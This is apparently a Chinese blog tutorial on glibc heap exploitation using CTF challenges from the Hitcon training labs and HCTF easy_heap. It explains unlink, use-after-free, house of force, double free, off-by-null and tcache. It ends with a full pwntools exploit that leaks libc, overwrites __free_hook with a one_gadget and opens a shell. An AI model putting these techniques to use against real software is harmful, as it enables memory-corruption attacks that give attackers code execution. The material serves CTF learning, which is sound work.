堆学习入门

从5道堆题看堆利用

这次写的很辛苦,希望对读者有帮助。堆实质就是利用游戏规则来获胜的一种艺术。。。

什么是unlink尼,众所周知smallbin,unsortedbin和largebin是doule-link的结构,当其chunk free的时候就会几率发生合并,具体情况这里就不进行详细说明了.

过程实现

此处大概说明一下unlink的过程。其函数为unlink(P,BK,FD),我们来一起看一下发生之后的结果。

上面的过程比较清晰,其实主要是发生堆块进行了合并,前两个堆块何在一起了,只需要一个链表了。我们在仔细想一想,一个unlink其本质就是赋值,接下来看一下源码,赋值是怎么一个过程。

1
2
3
4
5
6
unlink(P,BK,FD){
FD = P -> fd;
BK = p -> bk;
FD -> bk = BK;
BK -> fd = fd;
}

其实这么看来就是两个指针的交换,我们再细一点分析,具体到堆块结构FD = *(p - 0x10),之所以是加0x10因为fd指针在堆块的位置决定的(写清楚一点,以前的自己一直不理解是为什么这样)。那么接下来就不具体写了直接写最后演算结果。

1
2
*(P->fd+0x18) = *(P->bk)
*(P->bk+0x10) = *(P->fd)

这里还有一个检查是当前unlik加上的,具体就不说了将的文章有很多了,只要知道指针的计算我估计这基本就能理解了。

例题Hitcon training lab11

这个程序有一个堆溢出的漏洞,具体程序的逻辑可以看之后的house of force中的截图。

思路

一、利用unlink,将我们的储存堆块的list其中一个值改变使我们有能控制的指针

二、接下里就是edit函数将指针改成got指针

三、改got表为我们需要的函数。

总结

这里对题目讲的比较省略,因为网上的文章讲unlink的比较多,所以我这里主要总结了我自己在学习过程中遇到的问题,以及一直卡住的看

Use after free

记录一波建立文件过程
mkdir + name
touch + name 
echo 'context' > name
cat name

hacknote(Hitcon training lab10)

这是一个典型的use after free很适合初次接触的人进行练习

程序功能分析

可以发现是一个note,这里有三个功能

add_note


可以发现add的功能是添加字条,第一个段是8字节然后用来储存函数指针
第二段是用来储存我们的输入的

del_note


这里可以发现del是一个删除操作,但是并没有让指针置0所以存在use after free 漏洞

ptint_note


是一个调用函数指针的一个过程

解题思路

一、先申请chunk1,chunk2其中大小随意不要超过fastbin的范围就可以了
二、free chunk1
   free chunk2
三、此时fastbin中的分布是
 chunk2(8) -> chunk1(8)
 chunk2(32) -> chunk1(32)
四、这个时候申请一个chunk3 大小为8
   这个时候系统先分配chunk1(8)的大小存放puts函数
   然后分配chunk2(8)作为我们的context这个时候我们可以在这里写上magic函数执行获取flag

exp:

总结:

简单的说use after free 就是利用free之后指针没有被设置成NULL然后我们可以在此malloc出来使用。

house of force(Hitcon training lab11)

read函数
第三个参数为unsigned符号,当-1时及0xffffffff
任意大小读

利用需要满足的条件

一、首先,需要存在漏洞使得我们可以控制top chunk的size域
二、其次,需要我们可以自由的控制malloc分配的大小
三、分配的次数不能受限制

bamboobox

这里利用house of force 进行利用,题目的下方会对house of force进行一个原理讲解

程序功能分析

main


一、这里可以发现开始时程序分配了0x10的空间给hello message和goodbye_message函数
二、进行一个循环让我们进行菜单栏选项


这里可以看见这里总共有5个选项其中选项1就是show item,remove就是正常的删除操作,5是正常的退出操作。接下来我们仔细看2,3两个选项

add a new item


一、这里程序先让我们选择长度,惊喜惊喜!可以看出长度我们时可以任意控制的,随意malloc
二、然后输入们的item值就可以了

change the item in the box


修改物品的名字,根据给定的索引,以及大小,向指定索引的物品中读取指定长度名字。这里长度由用户来读入,也存在任意长度堆溢出的漏洞。

magic


这里有一个我们的flag文件可以让我们利用

利用思路

一、先malloc一个块
二、利用change the item in the box进行长度的修改使得我们可以覆盖到top chunk的size位置修改top chunk size=-1 (因为在其中size是无符号整数-1会被解释为0xffffff。。)所以size肯定就够我们用了
三、接着我们利用house of force的方法将top chunk的位置放在heap base地址
四、然后我们再申请一个0x10的块,去修改函数指针为我们Magic的地址

整个利用这样就完成

exp:

总结
这里利用house of force。
一、这个利用过程的条件必须要满足那三点
二、然后是修改top chunk的大小
三、然后是利用malloc将top chunk放置到我们需要改写的那个地址上,可以是got表的地址可以是分配的堆块地址。

Double free(Hitcon training lab12)

故名思义,就是对一个堆块进行了两次free,
但是free了同一个堆块两次,其中在glibc中对此有一个检查

其中是检查main_arean是否指向向了原来的一个chunk,这个就是非常容易绕过的只需要free(p1);free(p2);free(p1)就可以绕过了。

利用过程


这是我们执行doublefree之后的图,此时malloc出chunk1,更改chunk1的fd,又因为此时chunk1是在fastbin list,也就是结构变成了下图

可以看见现在fastbin list中会多指向一个我们的fakebin(此时就可以进行任意地址写了)

check_fail

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
  errstr = "malloc(): memory corruption (fast)";
errout:
  malloc_printerr (check_action, errstr, chunk2mem (victim));
  return NULL;
}

其中会有一个对fakebin,size大小的检查,如果不满足当前fastbin链中应该有的大小则会显示异常。

例题:

程序功能分析

main


堆堆题一般都是些菜单题,这又是一道菜单题

add


add函数就是正常的malloc出堆块,然后输入一些数据,这里并没什么漏洞

visit


visit函数就是遍历刚才我们所有建立的东西

del


一个删除函数,其中对指针进行了置0所以无法使用use after free,但是这里似乎可以利用double free

clean


把所有已经创建了的都进行一个了删除

magic


这是一个get_flag的函数

利用思路

利用的思路还是比较明显的,利用double free进行一个got表的改写。首先add函数建立2个堆块,然后free(chunk1)->free(chunk2)->free(chunk1)进行一个检查的bypass。然后再执行add函数,进行chunk1堆块的fd指针改写,然后连续free出chunk2,chunk1和我们构造的fake_chunk(这个chunk的地址在got表上),对got表进行一个覆写,将puts函数got表改写成magic函数的地址。

注意事项

因为要bypass对fakebin_size的检查,所以在选got表地址的时候需要gdb调试一下,看存储的数的低四位满足要求,这里就选用了0x601ffa,刚好可以满足条件

exp:

学习总结

从这些3个利用方式来看,堆的学习主要是建立在对源码和对堆分配,回收等操作的熟悉的基础上。这里推荐用pwndbg进行调试,还有一些大佬会用gef和peda➕一些插件的方法进行调试,具体看个人的习惯了。

off-by-null&tacahe&overlap

函数总结
strlen:不将‘\x00’这一结束符计入字符长度
strcopy:将末尾‘\x00’作为字符串一部分复制
或者是人为的在size数后填上了0

off-by-null&overlap

这里讲一讲,我理解的off-by-null,其本质就是利用改写将pre_issue位改成\x00然后导致前面一个堆块莫名其妙的就free了(当然不是真的莫名其妙,详细请看堆块结构和记录,简单的说就是pre_issue是位了记录前一个堆块free or use 情况的)。接着就是利用堆块合并,获得一个free的但是其实并没有free的堆块,这就是overlap。整个过程其实说明了,off-by-null可以触发overlap,并且还是powerful的,可以用来泄漏地址。也可以用来修改fd(详细看下面)

tacahe

其实这个机制和fastbin很像,但是为了效率会比fastbin少很多检查。并且堆块都会在tacahe走一遍再出来给我们使用,有一些特殊情况不会比如合并了的unsortedbin。他总共有7个,满了才会用其他的类别的chunk。对double free的检查基本没有。简单的介绍一下,个人在用的时候感觉知道这些就已经差不多了。

例题HCTF-easy_heap

很综合的题目,复合了该有的所有知识点。

main


这里我已经改过了一些函数的名字了,主要的逻辑就是删除,添加,打印,退出

add



这里主要是一个堆块大小申请的限制,和一个off-by-null的漏洞了

思路

一、先消耗了tacahe,然后利用unsortedbin进行一个overlap导致地址泄漏

二、泄漏地址后,我们在对overlap的堆块进行一次malloc然后delete让其两次进入tacahe,就是我们非常熟悉的doublefree的操作了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import*

context.log_level = 'debug'
r = process('./easy_heap')

libc = ELF('easy_heap')
elf = ELF('easy_heap')

def new(size,content):
r.recvuntil("?\n> ")
r.sendline("1")
r.recvuntil("size \n> ")
r.sendline(str(size))
r.recvuntil("content \n> ")
r.send(content)

def newz():
r.recvuntil("?\n> ")
r.sendline("1")
r.recvuntil("size \n> ")
r.sendline(str(0))

def delet(idx):
r.recvuntil("?\n> ")
r.sendline("2")
r.recvuntil("index \n> ")
r.sendline(str(idx))

def echo(idx):
r.recvuntil("?\n> ")
r.sendline("3")
r.recvuntil("index \n> ")
r.sendline(str(idx))

#MAIN EXPLOIT

for i in range(10):
newz()
#fill tcache
for i in range(3,10):
delet(i)
delet(0)
delet(1)
delet(2)
#x = input("debug")

for i in range(7):
newz()
#x = input("debug33")
newz()
#x = input("debug33")
newz()
#x = input("debug33")
newz()
#x = input("debugggg")

for i in range(0,7):
delet(i)

delet(7)

newz()
#x = input("First")
delet(8)
#x = input("second")
new(0xf8,'\x00')
#x = input("third")
delet(0)
delet(9)
#x = input("debug0")
#clean tcache
for i in range(7):
newz()
newz()
#x = input("debug")
echo(1)
unsorted_bin = u64(r.recv(6).ljust(8,'\x00'))
libc_base = unsorted_bin - 4111520
#print(hex(libc_base))
free_hook = libc_base + 4118760
onegadget = libc_base + 0x4f322
#hx = input("pause")


newz() #idx.9 ******we cut it ,get a chunk which have same point to 400

delet(0) #passby counts check
#x = input("pause")
delet(1)
delet(9)
# *****double link
#x = input("pause")
new(0x10,p64(free_hook))
#x = input("pause")
newz()
#x = input("pasue")
new(0x10,p64(onegadget))
#x = input("pause")

delet(2)

r.interactive()

总结

对所学进行一些总结,其中一直没有明白问题点出来了,可能大家也有这样的问题所以进行一下分享